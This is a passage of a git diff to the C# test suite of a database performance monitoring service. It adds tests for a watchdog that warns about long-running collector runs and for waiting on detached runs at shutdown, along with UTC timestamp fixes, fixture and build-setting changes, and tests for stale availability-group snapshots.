+                e => e.Level == LogLevel.Information
+                    && e.Message.Contains("daily run completed", StringComparison.Ordinal)
+                    && e.Message.Contains(DailyRunKit.Daily, StringComparison.Ordinal));
+            Assert.Equal(0, worker.WatchDailyRuns(startedBy.AddSeconds(DarlingWorker.DailyRunWatchdogSeconds + 3600)));
+        }
+        finally
+        {
+            runs.ReleaseAll();
+        }
+    }
+
+    [Fact]
+    public async Task ADailyRun_UnderTheThreshold_IsNotReported()
+    {
+        var logger = new DailyRunLogger();
+        var worker = DailyRunKit.MakeWorker(logger);
+        var runs = new HeldRuns(worker, DailyRunKit.Daily);
+        var server = DailyRunKit.MakeServer(7302, DailyRunKit.Daily);
+        var ct = TestContext.Current.CancellationToken;
+        var before = DateTime.UtcNow;
+
+        try
+        {
+            await worker.RunDueCollectorsAsync(server, null!, ct);
+            Assert.True(await DailyRunKit.BecomesTrueAsync(() => runs.Started == 1, Patience), "the daily run starts");
+
+            Assert.Equal(0, worker.WatchDailyRuns(before.AddSeconds(DarlingWorker.DailyRunWatchdogSeconds - 20)));
+            Assert.Empty(Warnings(logger));
+        }
+        finally
+        {
+            runs.ReleaseAll();
+        }
+    }
+
+    /// <summary>
+    /// A healthy daily run can take minutes (database_config reads every database on its server), so the sweep's
+    /// 60 seconds is not the measure for it: a run that has been executing for five minutes is working, and
+    /// reporting it would warn once a day on every server with many databases for no fault.
+    /// </summary>
+    [Fact]
+    public async Task ADailyRun_ExecutingForFiveMinutes_IsNotReported_ButOnePastFifteenIsReportedOnce()
+    {
+        var logger = new DailyRunLogger();
+        var worker = DailyRunKit.MakeWorker(logger);
+        var runs = new HeldRuns(worker, DailyRunKit.Daily);
+        var server = DailyRunKit.MakeServer(7305, DailyRunKit.Daily);
+        var ct = TestContext.Current.CancellationToken;
+        var before = DateTime.UtcNow;
+
+        try
+        {
+            await worker.RunDueCollectorsAsync(server, null!, ct);
+            Assert.True(await DailyRunKit.BecomesTrueAsync(() => runs.Started == 1, Patience), "the daily run starts");
+            var startedBy = DateTime.UtcNow;
+
+            /* Five minutes on, and ten: past the sweep's threshold, inside the daily run's own. */
+            Assert.Equal(0, worker.WatchDailyRuns(before.AddMinutes(5)));
+            Assert.Equal(0, worker.WatchDailyRuns(before.AddMinutes(10)));
+            Assert.Empty(Warnings(logger));
+
+            /* Past fifteen minutes it is reported, once, naming the server and the collector. */
+            Assert.Equal(1, worker.WatchDailyRuns(startedBy.AddMinutes(15).AddSeconds(1)));
+            var warning = Assert.Single(Warnings(logger));
+            Assert.Contains(server.Config.DisplayName, warning, StringComparison.Ordinal);
+            Assert.Contains(DailyRunKit.Daily, warning, StringComparison.Ordinal);
+            Assert.Equal(0, worker.WatchDailyRuns(startedBy.AddMinutes(45)));
+            Assert.Single(Warnings(logger));
+        }
+        finally
+        {
+            runs.ReleaseAll();
+        }
+    }
+
+    /// <summary>
+    /// The daily run's threshold is its own number, and the sweep's stays what it was: the two measure different
+    /// work, so changing one must not move the other.
+    /// </summary>
+    [Fact]
+    public void TheDailyRunThreshold_IsFifteenMinutes_AndTheSweepsStaysSixtySeconds()
+    {
+        Assert.Equal(15 * 60, DarlingWorker.DailyRunWatchdogSeconds);
+        Assert.Equal(60, DarlingWorker.SweepWatchdogSeconds);
+    }
+
+    [Fact]
+    public async Task ADailyRun_WaitingForAPermit_IsNotReported_HoweverLongItWaits()
+    {
+        var logger = new DailyRunLogger();
+        var worker = DailyRunKit.MakeWorker(logger);
+        var runs = new HeldRuns(worker, DailyRunKit.Daily);
+        var going = DailyRunKit.MakeServer(7303, DailyRunKit.Daily);
+        var queued = DailyRunKit.MakeServer(7304, DailyRunKit.Daily);
+        var ct = TestContext.Current.CancellationToken;
+
+        /* A pool this small leaves room for one daily run, so the second is queued behind the first. */
+        worker.ApplyDailyRunCap(1, 4);
+
+        try
+        {
+            await worker.RunDueCollectorsAsync(going, null!, ct);
+            await worker.RunDueCollectorsAsync(queued, null!, ct);
+            Assert.True(await DailyRunKit.BecomesTrueAsync(() => runs.Started == 1, Patience), "one daily run starts");
+            await Task.Delay(200, ct);
+            Assert.Equal(1, runs.Started);
+            Assert.Equal(2, worker.InFlightDetachedRuns.Count);
+
+            /* An hour on, the run that is going is reported and the one that is queued is not: waiting for a permit is
+               capacity, and only a run that is executing can be stuck. */
+            Assert.Equal(1, worker.WatchDailyRuns(DateTime.UtcNow.AddHours(1)));
+            var warning = Assert.Single(Warnings(logger));
+            Assert.Contains(going.Config.DisplayName, warning, StringComparison.Ordinal);
+            Assert.DoesNotContain(queued.Config.DisplayName, warning, StringComparison.Ordinal);
+        }
+        finally
+        {
+            runs.ReleaseAll();
+        }
+    }
+
+    [Fact]
+    public void TheSweepLoop_RunsTheDailyWatchdog_EveryTick_AfterItsLaunchLoop()
+    {
+        var source = RepoFile.ReadRepoFile("Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs");
+
+        /* The sweep loop needs a store to run, so what a case here can pin is that it makes the call once, after the
+           launch loop that watches the per-server bodies and not inside it. */
+        Assert.Equal(1, DailyRunKit.Count(source, "WatchDailyRuns(DateTime.UtcNow);"));
+        var launch = source.IndexOf("server.InFlightSweep = ProcessServerSweepAsync(", StringComparison.Ordinal);
+        var watch = source.IndexOf("WatchDailyRuns(DateTime.UtcNow);", StringComparison.Ordinal);
+        Assert.True(launch >= 0 && watch > launch, "the daily watchdog is called after the launch loop");
+    }
+}
+
+/// <summary>
+/// #4999: the hang watchdog watches the three collectors detached by name (query_store, plan_correction,
+/// pg_wait_sampling) as it watches a daily run: one that has been executing for 15 minutes gets ONE Warning naming
+/// its server and collector. They were left out at first, on the reasoning that query_store runs 100 to 230 seconds
+/// on a healthy server and would warn on every run, which held only for the sweep's 60-second line; a healthy run is
+/// far inside 15 minutes. A run detached by name takes no daily-run permit, so its watch starts when it starts
+/// executing, and it is watched whatever the daily runs are doing.
+/// </summary>
+public sealed class DetachedByNameWatchdogTests
+{
+    private static readonly TimeSpan Patience = DailyRunKit.Patience;
+
+    private static List<string> Warnings(DailyRunLogger logger) =>
+        logger.Snapshot().Where(e => e.Level == LogLevel.Warning).Select(e => e.Message).ToList();
+
+    /// <summary>pg_wait_sampling is a PostgreSQL collector, so a server that is due for it has to be a PostgreSQL target.</summary>
+    private static CollectorTargetInfo TargetFor(string collector) =>
+        collector == "pg_wait_sampling"
+            ? new CollectorTargetInfo { Engine = CollectorTargetEngine.PostgreSql }
+            : new CollectorTargetInfo();
+
+    [Theory]
+    [InlineData("query_store")]
+    [InlineData("plan_correction")]
+    [InlineData("pg_wait_sampling")]
+    public async Task ARunDetachedByName_ExecutingPastTheThreshold_IsReportedOnce_NamingTheServerAndTheCollector(string collector)
+    {
+        Assert.True(DarlingWorker.IsDetachedByName(collector), "the collector under test is one of the three detached by name");
+        var logger = new DailyRunLogger();
+        var worker = DailyRunKit.MakeWorker(logger);
+        var runs = new HeldRuns(worker, collector);
+        var server = DailyRunKit.MakeServer(7410, collector, TargetFor(collector));
+        var ct = TestContext.Current.CancellationToken;
+
+        try
+        {
+            await worker.RunDueCollectorsAsync(server, null!, ct);
+            Assert.True(await DailyRunKit.BecomesTrueAsync(() => runs.Started == 1, Patience), "the run starts");
+            var startedBy = DateTime.UtcNow;
+
+            Assert.Equal(1, worker.WatchDailyRuns(startedBy.AddSeconds(DarlingWorker.DailyRunWatchdogSeconds + 1)));
+
+            var warning = Assert.Single(Warnings(logger));
+            Assert.Contains(server.Config.DisplayName, warning, StringComparison.Ordinal);
+            Assert.Contains(collector, warning, StringComparison.Ordinal);
+
+            /* The run holds no daily-run permit, so the Warning does not say that it does. */
+            Assert.DoesNotContain("permit", warning, StringComparison.Ordinal);
+            Assert.DoesNotContain("daily", warning, StringComparison.Ordinal);
+
+            /* One Warning per run: a later tick finds the run still going and says nothing more. */
+            Assert.Equal(0, worker.WatchDailyRuns(startedBy.AddSeconds(DarlingWorker.DailyRunWatchdogSeconds + 600)));
+            Assert.Single(Warnings(logger));
+
+            /* The end of a run the watchdog warned about is logged, and the run is no longer watched. */
+            runs.ReleaseAll();
+            Assert.True(await DailyRunKit.BecomesTrueAsync(() => worker.InFlightDetachedRuns.Count == 0, Patience), "the run ends");
+            Assert.Contains(
+                logger.Snapshot(),
+                e => e.Level == LogLevel.Information
+                    && e.Message.Contains("run completed", StringComparison.Ordinal)
+                    && e.Message.Contains(collector, StringComparison.Ordinal));
+            Assert.Equal(0, worker.WatchDailyRuns(startedBy.AddSeconds(DarlingWorker.DailyRunWatchdogSeconds + 3600)));
+        }
+        finally
+        {
+            runs.ReleaseAll();
+        }
+    }
+
+    /// <summary>
+    /// A healthy query_store run takes 100 to 230 seconds and a healthy plan_correction or pg_wait_sampling run far
+    /// less, so none of them is reported for running a few minutes: only a run well past a healthy one is.
+    /// </summary>
+    [Theory]
+    [InlineData("query_store")]
+    [InlineData("plan_correction")]
+    [InlineData("pg_wait_sampling")]
+    public async Task ARunDetachedByName_UnderTheThreshold_IsNotReported(string collector)
+    {
+        var logger = new DailyRunLogger();
+        var worker = DailyRunKit.MakeWorker(logger);
+        var runs = new HeldRuns(worker, collector);
+        var server = DailyRunKit.MakeServer(7411, collector, TargetFor(collector));
+        var ct = TestContext.Current.CancellationToken;
+        var before = DateTime.UtcNow;
+
+        try
+        {
+            await worker.RunDueCollectorsAsync(server, null!, ct);
+            Assert.True(await DailyRunKit.BecomesTrueAsync(() => runs.Started == 1, Patience), "the run starts");
+
+            /* Four minutes on is past a healthy query_store run's 230 seconds, and 20 seconds short of the line. */
+            Assert.Equal(0, worker.WatchDailyRuns(before.AddMinutes(4)));
+            Assert.Equal(0, worker.WatchDailyRuns(before.AddSeconds(DarlingWorker.DailyRunWatchdogSeconds - 20)));
+            Assert.Empty(Warnings(logger));
+        }
+        finally
+        {
+            runs.ReleaseAll();
+        }
+    }
+
+    /// <summary>
+    /// A run detached by name never waits for a daily-run permit, so with every permit in use it still starts at once,
+    /// and its watch starts with it. The daily run that holds the only permit and the run detached by name are each
+    /// reported, once, by their own server and collector.
+    /// </summary>
+    [Fact]
+    public async Task ARunDetachedByName_TakesNoPermit_AndIsWatchedFromTheMomentItStarts()
+    {
+        var logger = new DailyRunLogger();
+        var worker = DailyRunKit.MakeWorker(logger);
+        var runs = new HeldRuns(worker, DailyRunKit.Daily, "query_store");
+        var daily = DailyRunKit.MakeServer(7412, DailyRunKit.Daily);
+        var byName = DailyRunKit.MakeServer(7413, "query_store");
+        var ct = TestContext.Current.CancellationToken;
+
+        /* A pool this small leaves room for one daily run, and the daily run below takes it. */
+        worker.ApplyDailyRunCap(1, 4);
+
+        try
+        {
+            await worker.RunDueCollectorsAsync(daily, null!, ct);
+            Assert.True(await DailyRunKit.BecomesTrueAsync(() => runs.Started == 1, Patience), "the daily run takes the only permit");
+            await worker.RunDueCollectorsAsync(byName, null!, ct);
+            Assert.True(
+                await DailyRunKit.BecomesTrueAsync(() => runs.Started == 2, Patience),
+                "the run detached by name starts beside the daily run and does not queue for a permit");
+
+            Assert.Equal(2, worker.WatchDailyRuns(DateTime.UtcNow.AddHours(1)));
+            var warnings = Warnings(logger);
+            Assert.Equal(2, warnings.Count);
+            Assert.Single(
+                warnings,
+                w => w.Contains(daily.Config.DisplayName, StringComparison.Ordinal)
+                    && w.Contains(DailyRunKit.Daily, StringComparison.Ordinal));
+            Assert.Single(
+                warnings,
+                w => w.Contains(byName.Config.DisplayName, StringComparison.Ordinal)
+                    && w.Contains("query_store", StringComparison.Ordinal));
+        }
+        finally
+        {
+            runs.ReleaseAll();
+        }
+    }
+
+    /// <summary>
+    /// The watches are keyed by (server, collector), which holds only if two runs of one collector never execute on one
+    /// server at once. A run detached by name is held to one at a time by a single-flight gate it takes before its
+    /// watch begins (query_store's per-server gate, and the per-(server, collector) gate of the other two), so a
+    /// second run that comes due while the first is still going is skipped before it is watched, and cannot replace
+    /// or remove the first run's watch.
+    /// </summary>
+    [Theory]
+    [InlineData("query_store")]
+    [InlineData("plan_correction")]
+    [InlineData("pg_wait_sampling")]
+    public async Task ASecondRunOfTheSameCollectorOnTheServer_IsSkippedBeforeItIsWatched_SoTheFirstRunsWatchStands(string collector)
+    {
+        var logger = new DailyRunLogger();
+        var worker = DailyRunKit.MakeWorker(logger);
+        var runs = new HeldRuns(worker, collector);
+        var server = DailyRunKit.MakeServer(7414, collector, TargetFor(collector));
+        var ct = TestContext.Current.CancellationToken;
+
+        try
+        {
+            await worker.RunDueCollectorsAsync(server, null!, ct);
+            Assert.True(await DailyRunKit.BecomesTrueAsync(() => runs.Started == 1, Patience), "the first run starts");
+
+            /* It comes due again while the first run is still going. */
+            server.NextDue[collector] = DateTime.UtcNow.AddMinutes(-5);
+            await worker.RunDueCollectorsAsync(server, null!, ct);
+            Assert.True(
+                await DailyRunKit.BecomesTrueAsync(() => worker.InFlightDetachedRuns.Count == 1, Patience),
+                "the second run ends at once, skipped, and only the first is still in flight");
+            Assert.Equal(1, runs.Started);
+
+            /* The first run is still watched, once. */
+            Assert.Equal(1, worker.WatchDailyRuns(DateTime.UtcNow.AddHours(1)));
+            Assert.Single(Warnings(logger));
+        }
+        finally
+        {
+            runs.ReleaseAll();
+        }
+    }
+}
+
+/// <summary>
+/// #4999: the three collectors detached by name (query_store, plan_correction, pg_wait_sampling) used to run
+/// untracked, so the shutdown drain that waits for the other detached runs did not wait for them. They are tracked the
+/// same way now, and a shutdown waits for one that is still going.
+/// </summary>
+public sealed class DetachedByNameShutdownDrainTests
+{
+    private static readonly TimeSpan Patience = DailyRunKit.Patience;
+
+    [Theory]
+    [InlineData("query_store")]
+    [InlineData("plan_correction")]
+    public async Task TheShutdownDrain_WaitsForARunDetachedByName_ThatIsStillGoing(string collector)
+    {
+        Assert.True(DarlingWorker.IsDetachedByName(collector), "the collector under test is one of the three detached by name");
+        var logger = new DailyRunLogger();
+        var worker = DailyRunKit.MakeWorker(logger);
+        var runs = new HeldRuns(worker, collector);
+        var server = DailyRunKit.MakeServer(7401, collector);
+        using var stopping = new CancellationTokenSource();
+
+        try
+        {
+            await worker.RunDueCollectorsAsync(server, null!, stopping.Token);
+            Assert.True(await DailyRunKit.BecomesTrueAsync(() => runs.Started == 1, Patience), "the run starts and the pass ends beside it");
+
+            /* The service stops with the run still going. */
+            stopping.Cancel();
+            var drain = worker.DrainInFlightAsync([]);
+            Assert.False(
+                await DailyRunKit.EndsWithinAsync(drain, TimeSpan.FromMilliseconds(500)),
+                "the stop must wait for a run detached by name that is still going, not finish beside it");
+            Assert.Single(worker.InFlightDetachedRuns);
+
+            runs.ReleaseAll();
+            Assert.True(await DailyRunKit.EndsWithinAsync(drain, Patience), "the stop finishes once the run has");
+            Assert.True(await DailyRunKit.BecomesTrueAsync(() => worker.InFlightDetachedRuns.Count == 0, Patience), "a run that ended is no longer tracked");
+        }
+        finally
+        {
+            runs.ReleaseAll();
+        }
+    }
+
+    [Fact]
+    public void NoRunDetachedByName_IsDroppedUntracked()
+    {
+        var source = RepoFile.ReadRepoFile("Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs");
+
+        /* The behavioral cases above cover two of the three by name; this covers the call itself, which is one line
+           for all three. A discarded RunDetachedAsync is what left them out of the shutdown wait. */
+        Assert.Equal(0, DailyRunKit.Count(source, "_ = RunDetachedAsync("));
+        Assert.Equal(2, DailyRunKit.Count(source, "TrackDetachedRun(RunDetachedAsync("));
+    }
+}
diff --git a/Darling/Darling.Tests/DailySummaryAzureMasterScopeLiveTests.cs b/Darling/Darling.Tests/DailySummaryAzureMasterScopeLiveTests.cs
index c3a428bdb2..e06cc241d7 100644
--- a/Darling/Darling.Tests/DailySummaryAzureMasterScopeLiveTests.cs
+++ b/Darling/Darling.Tests/DailySummaryAzureMasterScopeLiveTests.cs
@@ -58,7 +58,10 @@ private static async Task WithStoreAsync(Func<Store, CancellationToken, Task> bo
         await connection.OpenAsync(ct);
         await PgMigrations.MigrateAsync(connection, ct);
         await DeleteRowsAsync(connection, ct);
-        await using var postgres = NpgsqlDataSource.Create(cs!);
+        /* #4981: the data source the code under test reads through is pinned to UTC the way every product store
+           connection is (DarlingStoreConnection.PinSessionTimeZoneUtc), so this class does not lean on the test
+           run's own pin of the connection string. */
+        await using var postgres = NpgsqlDataSource.Create(DarlingStoreConnection.PinSessionTimeZoneUtc(cs!));
         var bodySucceeded = false;
         try
         {
@@ -66,7 +69,7 @@ async Task Server(int id, string name, int edition)
             {
                 await Exec(connection, @"
 INSERT INTO servers (server_id, server_name, display_name, is_enabled, sql_major_version, sql_engine_edition, created_date, modified_date)
-VALUES ($1, $2, $2, TRUE, 16, $3, now()::timestamp, now()::timestamp)
+VALUES ($1, $2, $2, TRUE, 16, $3, now() AT TIME ZONE 'UTC', now() AT TIME ZONE 'UTC')
 ON CONFLICT (server_id) DO UPDATE SET is_enabled = TRUE, sql_engine_edition = $3", ct, id, name, edition);
                 await Exec(connection, "INSERT INTO server_properties (collection_id, collection_time, server_id, server_name, engine_edition) VALUES ($1,$2,$3,$4,$5)",
                     ct, CollectionIdGenerator.Next(), DateTime.UtcNow.AddMinutes(-30), id, name, edition);
@@ -212,10 +215,13 @@ public async Task AScopedFailure_ReadsUnscopedRows_WithoutAFault() => await With
         Assert.Null(resolved);
     });
 
+    /* #4981: a DateTime is bound as naive UTC (Kind Unspecified, a plain timestamp). A Kind=Utc value goes out as
+       timestamptz, which the server turns back into a naive value in the SESSION's time zone, so seeds written this
+       way only held where the session happened to be UTC. */
     private static async Task Exec(NpgsqlConnection c, string sql, CancellationToken ct, params object[] p)
     {
         using var cmd = new NpgsqlCommand(sql, c);
-        foreach (var v in p) cmd.Parameters.AddWithValue(v);
+        foreach (var v in p) cmd.Parameters.AddWithValue(v is DateTime d ? DateTime.SpecifyKind(d, DateTimeKind.Unspecified) : v);
         await cmd.ExecuteNonQueryAsync(ct);
     }
 
diff --git a/Darling/Darling.Tests/DailySummaryNotCarriedTests.cs b/Darling/Darling.Tests/DailySummaryNotCarriedTests.cs
index af6e4e269c..87b5073342 100644
--- a/Darling/Darling.Tests/DailySummaryNotCarriedTests.cs
+++ b/Darling/Darling.Tests/DailySummaryNotCarriedTests.cs
@@ -49,6 +49,7 @@ namespace Darling.Tests;
 /// <c>long?</c> and the shared <see cref="DailyHealthBandCalculator.BuildKeyMetricsLine"/> takes <c>long?</c>;
 /// Lite's callers hand a <c>long</c> and compile unchanged — a no-op field widening, stated here.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class DailySummaryNotCarriedTests
 {
     private static readonly (RetentionTier Tier, string Relation)[] RoutedForms =
@@ -273,6 +274,7 @@ public void EveryConsumer_KeepsTheNull_AndSpellsTheDisclosureOneWay()
 /// on the source still holding it.</para>
 /// </summary>
 [Collection("live-postgres")]
+[Trait("Reads", "Lite")]
 public sealed class DailySummaryNotCarriedLiveTests
 {
     private const int RecentServerId = -936538;
diff --git a/Darling/Darling.Tests/DailySummaryReadShapeTests.cs b/Darling/Darling.Tests/DailySummaryReadShapeTests.cs
index 680099b002..727a250a8a 100644
--- a/Darling/Darling.Tests/DailySummaryReadShapeTests.cs
+++ b/Darling/Darling.Tests/DailySummaryReadShapeTests.cs
@@ -556,9 +556,9 @@ private static async Task<Seeded> SeedAsync(string what)
             await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
             await RegisterServerAsync(connection, ct);
 
-            var d0 = DateTime.SpecifyKind(DateTime.UtcNow.Date.AddDays(-14), DateTimeKind.Unspecified);
+            var d0 = LiveClock.Now().Date.AddDays(-14);
             var days = Enumerable.Range(0, 10).Select(n => d0.AddDays(n)).ToArray();
-            Assert.True(DateTime.UtcNow - days[^1].AddDays(1) > TimescaleSupport.DailyRefreshStartSpan, "the seed must sit below every refresh policy's window");
+            Assert.True(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc) - days[^1].AddDays(1) > TimescaleSupport.DailyRefreshStartSpan, "the seed must sit below every refresh policy's window");
 
             foreach (var (day, hashes) in new[] { (0, 3), (2, 5), (3, 4), (5, 6), (6, 2), (7, 3), (8, 1) })
             {
@@ -634,7 +634,7 @@ INSERT INTO servers (server_id, server_name, display_name, is_enabled, sql_major
         command.Parameters.AddWithValue(ServerId);
         command.Parameters.AddWithValue(ServerName);
         command.Parameters.AddWithValue(ServerName);
-        command.Parameters.AddWithValue(DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(LiveClock.Now());
         await command.ExecuteNonQueryAsync(ct);
     }
 
diff --git a/Darling/Darling.Tests/DarkPastRetentionReadsOfflineTests.cs b/Darling/Darling.Tests/DarkPastRetentionReadsOfflineTests.cs
index 4af06abbd2..2ce6536dc3 100644
--- a/Darling/Darling.Tests/DarkPastRetentionReadsOfflineTests.cs
+++ b/Darling/Darling.Tests/DarkPastRetentionReadsOfflineTests.cs
@@ -398,6 +398,14 @@ await ExecAsync(connection, ct,
                 Assert.Equal(dot.Word(), fleet[id].Status);
             }
 
+            /* Release walk W1b: a server dark past the fleet read's 48 hours shows its REAL last collection (five days
+               ago here), read for it alone from before the window; a server with no row anywhere shows none, and the
+               server that is collecting keeps the windowed read's answer. */
+            Assert.Equal(now.AddDays(-5), fleet[DarkInsideRetention].LastCollectionTime);
+            Assert.Null(fleet[AgedOut].LastCollectionTime);
+            Assert.Null(fleet[JustRegistered].LastCollectionTime);
+            Assert.Equal(now.AddMinutes(-1), fleet[Collecting].LastCollectionTime);
+
             bodySucceeded = true;
         }
         finally
diff --git a/Darling/Darling.Tests/Darling.Tests.csproj b/Darling/Darling.Tests/Darling.Tests.csproj
index d1a65b3173..b7060c7a9e 100644
--- a/Darling/Darling.Tests/Darling.Tests.csproj
+++ b/Darling/Darling.Tests/Darling.Tests.csproj
@@ -14,6 +14,18 @@
     <NoWarn>CA1849;CA2007;CA1508;CA1822;CA1805;CA1510;CA1816;CA1861;CA1845;CA2201;CS4014;NU1701;CA1001;CA1848;CA1852;CA1305;CA1860;CA1707;CA1507;CA1806;xUnit1051</NoWarn>
   </PropertyGroup>
 
+  <ItemGroup>
+    <!-- #5596: WPF builds one WeakEventTable per STA thread that touches a WeakEventManager, and each table
+         registers a ProcessExit handler. At exit that handler runs on the main thread, and when the table's
+         own thread is gone it asks the dead dispatcher to purge the table with a 300 ms timeout nobody ever
+         answers: about 0.3 seconds per STA test thread, spent after the run has returned. About fifty test files
+         start their own STA thread, so the exit stage grew past the 11 seconds xUnit v3 gives a process after the
+         run returns, and the runner printed "Foreground threads were left running" with exit code 1 and 0 failed
+         tests. This WPF switch (WindowsBase, BaseAppContextSwitches) makes the handler purge the table directly.
+         WpfExitSwitchTests pins that the switch is set, and that the runtime still knows its name. -->
+    <RuntimeHostConfigurationOption Include="Switch.MS.Internal.DoNotInvokeInWeakEventTableShutdownListener" Value="true" />
+  </ItemGroup>
+
   <ItemGroup>
     <PackageReference Include="xunit.v3" />
     <!-- #4128: a live HTTP proof of the web host's gates (Host-allowlist, network-mode token/CIDR) through
@@ -49,21 +61,34 @@
 
   <ItemGroup>
     <!-- system_health event samples for SystemHealthParser (one per feeder event; shapes per sp_HealthParser xpath). -->
+    <None Include="Fixtures\FinOpsIndexAnalysis\golden.json" CopyToOutputDirectory="PreserveNewest" />
+    <!-- The shared time range grammar cases (#5562); the web harness reads the same file. -->
+    <None Include="Fixtures\time-range-cases.json" CopyToOutputDirectory="PreserveNewest" />
     <None Include="Fixtures\SystemHealth\*.xml" CopyToOutputDirectory="PreserveNewest" />
     <!-- real, scrubbed system_health event captures for SystemHealthParserRealEventTests -->
     <None Include="Fixtures\SystemHealth\real\*.xml" CopyToOutputDirectory="PreserveNewest" />
     <!-- Deadlock graph parser/layout golden samples (real sql2025 captures + synthetic edge cases). -->
     <None Include="Fixtures\Deadlocks\*.xml" CopyToOutputDirectory="PreserveNewest" />
+    <!-- Statement-filter XML walk fixtures (#4348): plan XML carrying canary values. -->
+    <None Include="Fixtures\StatementScrub\*.xml" CopyToOutputDirectory="PreserveNewest" />
+    <None Include="Fixtures\FinOpsInventory\golden.json" CopyToOutputDirectory="PreserveNewest" />
+    <None Include="Fixtures\FinOpsRecommendations\golden.json" CopyToOutputDirectory="PreserveNewest" />
+    <None Include="Fixtures\FinOpsApplicationConnections\golden.json" CopyToOutputDirectory="PreserveNewest" />
+    <None Include="Fixtures\FinOpsOptimization\golden.json" CopyToOutputDirectory="PreserveNewest" />
+    <None Include="Fixtures\FinOpsStorageGrowth\golden.json" CopyToOutputDirectory="PreserveNewest" />
+    <None Include="Fixtures\column-value-filter-cases.json" CopyToOutputDirectory="PreserveNewest" />
     <!-- #4534: PerformanceStudio's own .sqlplan fixtures for the warning-origin decider, copied from its
          public repo (table_variable_plan, convert_implicit_plan, udf_plan). Real captures rather than a
          synthetic plan, so the "every operator warning knows its operator" pin runs against the same
          shapes PerformanceStudio's own test relies on. -->
     <None Include="Fixtures\OriginPlans\*.sqlplan" CopyToOutputDirectory="PreserveNewest" />
+    <None Include="Fixtures\FinOpsDatabaseResources\golden.json" CopyToOutputDirectory="PreserveNewest" />
     <!-- #2538: a REAL auto_explain block, captured from a PostgreSQL container with auto_explain
          loaded. Real rather than hand-written because the parser's whole job is the log's exact
          shape - the tab-indented continuation, the %Q query id in the prefix, the JSON body - and a
          fixture I typed would agree with whatever I believed that shape was. 
          Named .txt rather than .log because *.log is gitignored - correctly, and a fixture is not a log. -->
+    <None Include="Fixtures\FinOpsUtilization\golden.json" CopyToOutputDirectory="PreserveNewest" />
     <None Include="Fixtures\auto_explain_real_block.txt" CopyToOutputDirectory="PreserveNewest" />
     <!-- The SHIPPED bring-your-own-Postgres provisioning script, copied beside the test binary so
          ProvisionRolesAclDriftTests can parse the REAL file (never a stale second copy) from
@@ -94,6 +119,11 @@
          thing that keeps CI's cluster shaped like the product's as the catalog grows. -->
     <None Include="..\..\.github\workflows\build.yml" Link="Fixtures\build.yml" CopyToOutputDirectory="PreserveNewest" />
     <None Include="..\..\.github\workflows\nightly.yml" Link="Fixtures\nightly.yml" CopyToOutputDirectory="PreserveNewest" />
+    <!-- #5616: the shard scripts both workflows call. The cut, the chunking and the per-chunk runs moved out of the
+         workflow steps into them, so the pins that read those steps (CiShardCommandLineBudgetTests,
+         CiShardHangReportTests) read these copies. -->
+    <None Include="..\..\.github\scripts\run-darling-pg-shard.ps1" Link="Fixtures\run-darling-pg-shard.ps1" CopyToOutputDirectory="PreserveNewest" />
+    <None Include="..\..\.github\scripts\run-lite-shard.ps1" Link="Fixtures\run-lite-shard.ps1" CopyToOutputDirectory="PreserveNewest" />
     <!-- #3072: Darling/README.md, copied beside the test binary so ReadmeDerivedCountPinTests parses
          the REAL file. Its collector-inventory, V1-table, hypertable and worker-sizing figures are
          restatements of CollectorCatalog.All / TimescaleSupport.HypertableCount, and prose cannot call
diff --git a/Darling/Darling.Tests/DarlingActualPlanTests.cs b/Darling/Darling.Tests/DarlingActualPlanTests.cs
index b33570963a..bfe1e5b912 100644
--- a/Darling/Darling.Tests/DarlingActualPlanTests.cs
+++ b/Darling/Darling.Tests/DarlingActualPlanTests.cs
@@ -262,6 +262,7 @@ public void ResolveSnapshotSql_IsAReadOnlyLookupByCollectionTimeAndSession()
         Assert.Contains("server_id = $1", sql, StringComparison.Ordinal);
         Assert.Contains("collection_time = $2", sql, StringComparison.Ordinal);
         Assert.Contains("session_id = $3", sql, StringComparison.Ordinal);
+        Assert.Contains("database_name IS NOT DISTINCT FROM $4", sql, StringComparison.Ordinal);
         AssertReadOnlyResolver(sql);
     }
 
diff --git a/Darling/Darling.Tests/DarlingAgReaderTests.cs b/Darling/Darling.Tests/DarlingAgReaderTests.cs
index cd23563bc2..2ae241d0c9 100644
--- a/Darling/Darling.Tests/DarlingAgReaderTests.cs
+++ b/Darling/Darling.Tests/DarlingAgReaderTests.cs
@@ -122,6 +122,85 @@ public void ReplicaSeverity_ResolvingRoleReachesTheGroupBadge()
         Assert.Null(group.PrimaryReplica);
     }
 
+    /* ─────────────────────────── stale snapshot and missing primary (#5489) ─────────────────────────── */
+
+    [Fact]
+    public void Build_ASnapshotOlderThanTheOfflineMark_IsStaleNotHealthy()
+    {
+        /* Both rows read HEALTHY, but they were taken 12 days before "now". A badge that still said Healthy
+           described a memory, not a status. */
+        var replicas = new[]
+        {
+            Replica(1, "NODE1", "AG1", "NODE1", "PRIMARY"),
+            Replica(1, "NODE1", "AG1", "NODE2", "SECONDARY"),
+        };
+
+        var group = Assert.Single(Reader.Build(replicas, Array.Empty<Reader.DatabaseRow>(), At(0).AddDays(12)).AvailabilityGroups);
+        Assert.True(group.IsStale);
+        Assert.Equal("Stale", group.SeverityLabel);
+        Assert.Equal(HealthSeverity.Warning, group.Severity);
+    }
+
+    [Fact]
+    public void Build_AStaleGroupAlongsideAFreshHealthyOne_ReadsWarningAndSortsFirst()
+    {
+        /* Round-1 M1: AG1's last rows said Critical but are 12 days old; AG2 was collected a minute ago and is
+           Healthy. Stale used to band Unknown (the lowest enum value), so worst_severity read Healthy and AG1
+           sorted after AG2. */
+        var now = At(0).AddDays(12);
+        var staleCritical = Replica(1, "NODE1", "AG1", "NODE1", "PRIMARY", syncHealth: "NOT_HEALTHY");
+        var freshHealthy = Replica(2, "NODE2", "AG2", "NODE2", "PRIMARY") with { CollectionTime = now.AddMinutes(-1) };
+
+        var result = Reader.Build(new[] { staleCritical, freshHealthy }, Array.Empty<Reader.DatabaseRow>(), now);
+
+        Assert.Equal(HealthSeverity.Warning, result.WorstSeverity);
+        Assert.Equal("AG1", result.AvailabilityGroups[0].AgName);
+        Assert.True(result.AvailabilityGroups[0].IsStale);
+        Assert.Equal("Stale", result.AvailabilityGroups[0].SeverityLabel);
